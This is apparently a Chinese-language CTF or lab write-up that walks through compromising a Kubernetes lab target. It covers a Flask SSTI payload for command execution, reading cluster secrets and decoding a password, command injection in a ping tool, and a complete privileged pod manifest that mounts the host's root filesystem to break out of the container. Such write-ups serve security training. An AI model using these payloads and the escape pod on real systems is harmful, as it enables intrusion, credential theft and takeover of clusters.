Exploit Kubernetes Overly Permissive RBAC

背景

贵公司受聘对新客户的数字基础设施进行渗透测试。经过初步侦察后,您发现可以访问一个凭证已被盗用的 EC2 实例。该实例可能充当了客户 Kubernetes 环境的网关。您的任务是利用这些凭证,探索潜在漏洞,并利用其 Kubernetes 设置中的弱点,最终获得其服务器的 root 级访问权限。

目标:10.1.20.179

目标与环境识别

一个演唱会购票页面

image-20250926145812322

随意买一场门票并输入信息之后 会自动生成并下载一个pdf文件。pdf中包含输入的昵称信息

image-20250926150115369

触发了一个报错, 我只在flask里面见过这样子的Method Not Allowed 也可能是我见得少🤣

所以我认为后端是由python flask框架起的一个http服务

由于它做了一个nginx反向代理。 我并没有在数据包或者页面返回头中找到更有效的证据来指明他是python flask应用

image-20250926151939512

SSTI漏洞利用与初始立足

然后我在昵称信息表单中输入一个经典的SSTIpayload{{ 7 * 7 }}, 然后我就如愿以偿的得到了一个经典的回显49

image-20250926152419983

现在已经确定存在SSTI漏洞,利用{{lipsum.__globals__['os'].popen('id').read()}}执行命令

image-20250926152615397

建立反向Shell

image-20250926153916971

目前我们处在一个pod-a的docker容器中

image-20250926153955590

容器内信息收集与横向移动

从环境变量中可以看出 该pod处于在一个k8s集群中

image-20250926154508716

容器中没有kubectl 用curl下载一个kubectl的二进制文件到容器中

然后执行kubectl auth can-i --list来看一下我们有什么权限

image-20250926155608130

发现可以get/list secrets

在secrets中找到了一组用户名与密码

image-20250926155915161

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/Desktop]
└─$ echo -n "c2FraHNhakA3OHdxa2hzbGl3cXNoQCp5dTk4b2kyMQ==" | base64 -d
sakhsaj@78wqkhsliwqsh@*yu98oi21

┌──(kali㉿kali)-[~/Desktop]
└─$ echo -n "YWRtaW4=" | base64 -d
admin

用netstat看开放的端口貌似就只开放了一个5000端口

用curl下载一个nmap进行同网段主机发现

没有ip命令 用ifconfig可以看到网卡信息

image-20250926163042888

namp进行主机发现发现四台存活靶机

image-20250926163614440

地址 服务
10.244.0.1 可能是网关
10.244.0.10 可能是节点/服务
10.244.0.11 CoreDNS Pod
10.244.0.12 发起扫描的pod

image-20250926170424856

代理搭建与内网渗透

用Venom将流量代理出来

image-20250926171349049

image-20250926171401109

建立一个socks代理

image-20250926171446477

挂上代理访问http://10.244.0.10:5000

页面重定向到了登录页面

image-20250926171722127

这时候试着用刚才在pod-a中获取的账户与密码进行登录

登录进去之后有一个ping tool

image-20250926171919189

image-20250926171929741

一眼顶真。老套路/bin/sh ping <your input>

image-20250926172124083

权限提升与集群控制

建立反向Shell,之后再拿一个kubectl到pod-b

然后执行kubectl auth can-i --list来看一下我们有什么权限

image-20250926172925434

有这么一条记录*.* [] [] [*]这意味着你几乎拥有 集群管理员权限

因此。我们就可以创建一个恶意pod。然后从pod中逃逸出去

创建一个badpod.yaml文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

apiVersion: v1
kind: Pod
metadata:
name: breakout-pod
labels:
app: breakout-app
spec:
containers:
- name: breakout-container
image: hac10101/soldoutmaster_concert_app_ctf:latest
imagePullPolicy: IfNotPresent
command: ["/bin/sh"]
args: ["-c", "sleep infinity"]
securityContext:
privileged: true
resources:
requests:
memory: "512Mi"
cpu: "500m"
limits:
memory: "1Gi"
cpu: "1"
volumeMounts:
- name: host-volume
mountPath: /host
readOnly: true
volumes:
- name: host-volume
hostPath:
path: /

image-20250926174507755

创建容器之后进入容器将设备 /dev/root 挂载到 Pod 内的 /tmp/root

image-20250926174740176

总结